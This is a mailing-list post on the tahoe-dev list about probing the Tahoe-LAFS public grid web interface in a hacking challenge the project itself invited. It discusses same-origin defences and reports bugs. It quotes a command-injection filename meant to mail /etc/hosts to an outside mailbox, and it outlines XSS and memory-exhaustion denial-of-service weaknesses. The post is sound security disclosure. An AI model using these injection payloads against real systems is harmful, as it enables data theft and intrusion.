[tahoe-dev] report of an unsuccessful assault on our fortress

[Chris Palmer]

Zooko O'Whielacronx writes:

> I had thought, based on what a few web security experts had told me,
> that it would be easy for the attacker to take advantage of this
> situation, but Wade reported that he was unable to do it. He was using
> Safari 5 for testing.

Did you/he try to create a file that loads the main WUI page in an iframe
that takes up the whole browser viewport and then spies on the contained
iframe?

> Well! This is encouraging! Perhaps the browser's regrettable "Same
> Origin Policy" has not completely neutered Tahoe-LAFS's defenses
> against malicious JavaScript loaded from the same origin and running
> in a separate tab of the same browser.

"Regrettable"? Usually people say it's regrettable because it doesn't allow
enough flexibility --- that it is too restrictive! (See the Mashup OS
paper.) SOP is better than the security policy of your OS --- it doesn't
neuter your defense, it should be the basis of your defense. For example,
when serving HTML files from the WUI, serve them from a different origin
(hostname:different-port, ip-instead-of-hostname:same-port,
ip-instead-of-hostname:different-port, et c.). This is the only way to serve
untrustworthy HTML content without getting pwned. (This is what Google's
cache does, for example. Not a coincidence...)

> Wade reported that he was always stymied by the fact that the page he was
> trying to get access to had an unguessable URL.

Unguessable, but discoverable in the face of XSS. Also, the pubgrid does not
use HTTPS, so I can discover caps that way.

> Great! That means that *you* oh gentle reader, now have your chance to
> cause the Fourth Ever "I Hacked Tahoe-LAFS!" T-Shirt to come into
> existence and be yours!

I'm the one trying to mail myself your /etc/hosts file (on the pubgrid
demo). :) I have found some buglets in doing so:

* You can't delete my fake "... ; mail blaggy at mailinator.com..." files from
the WUI.

* The WUI is incredibly slow.

* My second attempt, "... && mail blaggy..." did not succeed after 1
minute, and resulted in the message "The page you are looking for is
temporarily unavailable.  Please try again later."

* When you try to delete "...; mail ...", the error page includes the full
filename in unencoded plain text (served as text/plain). On IE, that would
be XSS: IE will interpret text/plain as text/html if it MIME-sniffs any HTML
in there. I could probably craft an exploit payload that would own your
Tahoe files at that point.

* When displaying my file in the directory listing, it shows "zumby-bumby ;
mail blaggy at mailinator.com < /etc/hosts". Note the double HTML
entity-encoding, "&lt;":

      <td><a
href="../../uri/URI%3ADIR2%3Axs7uulujbkwwvs6pqldzs4wgsm%3A4jt6jhxa3ryjdtjuq2esxw6pibcq2pzgovkk3nbjnvix2w5tepda/">zumby-bumby
; mail blaggy at mailinator.com &lt; /etc/hosts</a></td>

Double encoding is a bug, and sometimes indicates that the encoding function
is trickable/exploitable. One tough spot with entity encoding --- it's a
good idea, don't get me wrong --- is that it can lead to denial of service
by memory exhaustion. In this case, I have an 8x multiplier: I send 30 MB of
less-than signs, you allocate 240 MB RAM to create the response page.